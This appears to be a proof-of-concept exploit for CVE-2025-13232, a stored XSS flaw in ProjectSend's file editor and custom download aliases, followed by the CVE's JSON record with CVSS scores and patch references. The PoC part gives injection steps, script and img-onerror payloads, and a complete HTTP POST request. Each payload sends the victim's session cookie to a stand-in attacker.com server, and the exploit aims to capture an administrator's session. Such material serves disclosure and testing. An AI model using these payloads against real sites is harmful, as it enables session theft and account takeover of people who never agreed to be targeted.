CVE-2025-13232

<!-- CVE-2025-13232 ProjectSend Stored XSS PoC --> <!-- Target: ProjectSend File Editor / Custom Download Aliases --> <!-- PoC 1: Custom Download Aliases XSS --> <!-- Steps: --> <!-- 1. Login to ProjectSend with low-privilege user --> <!-- 2. Navigate to: Files -> Edit File -> Custom Alias --> <!-- 3. Inject XSS payload in the alias field --> payload_alias = '<script>\n fetch("https://attacker.com/steal?c="+document.cookie)\n</script>' <!-- PoC 2: File Editor XSS --> <!-- Steps: --> <!-- 1. Login to ProjectSend --> <!-- 2. Upload a file or edit existing file --> <!-- 3. Inject XSS in file description/name field --> payload_file = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">' <!-- Example HTTP Request --> POST /projectsend/files/edit.php?id=123 HTTP/1.1 Host: target.com Cookie: PHPSESSID= victim_session Content-Type: application/x-www-form-urlencoded file_description=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>&submit=Save <!-- After admin visits the page, cookie will be sent to attacker server -->

{"cve": {"id": "CVE-2025-13232", "sourceIdentifier": "[email protected]", "published": "2025-11-16T01:15:42.850", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in projectsend up to r1720. Impacted is an unknown function of the component File Editor/Custom Download Aliases. This manipulation causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been published and may be used. Upgrading to version r1945 is recommended to address this issue. Patch name: 334da1ea39cb12f6b6e98dd2f80bb033e0c7b845. It is advisable to upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/projectsend/projectsend/", "source": "[email protected]"}, {"url": "https://github.com/projectsend/projectsend/commit/334da1ea39cb12f6b6e98dd2f80bb033e0c7b845", "source": "[email protected]"}, {"url": "https://github.com/projectsend/projectsend/pull/1450", "source": "[email protected]"}, {"url": "https://github.com/projectsend/projectsend/releases/tag/r1945", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.332558", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.332558", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.686533", "source": "[email protected]"}]}}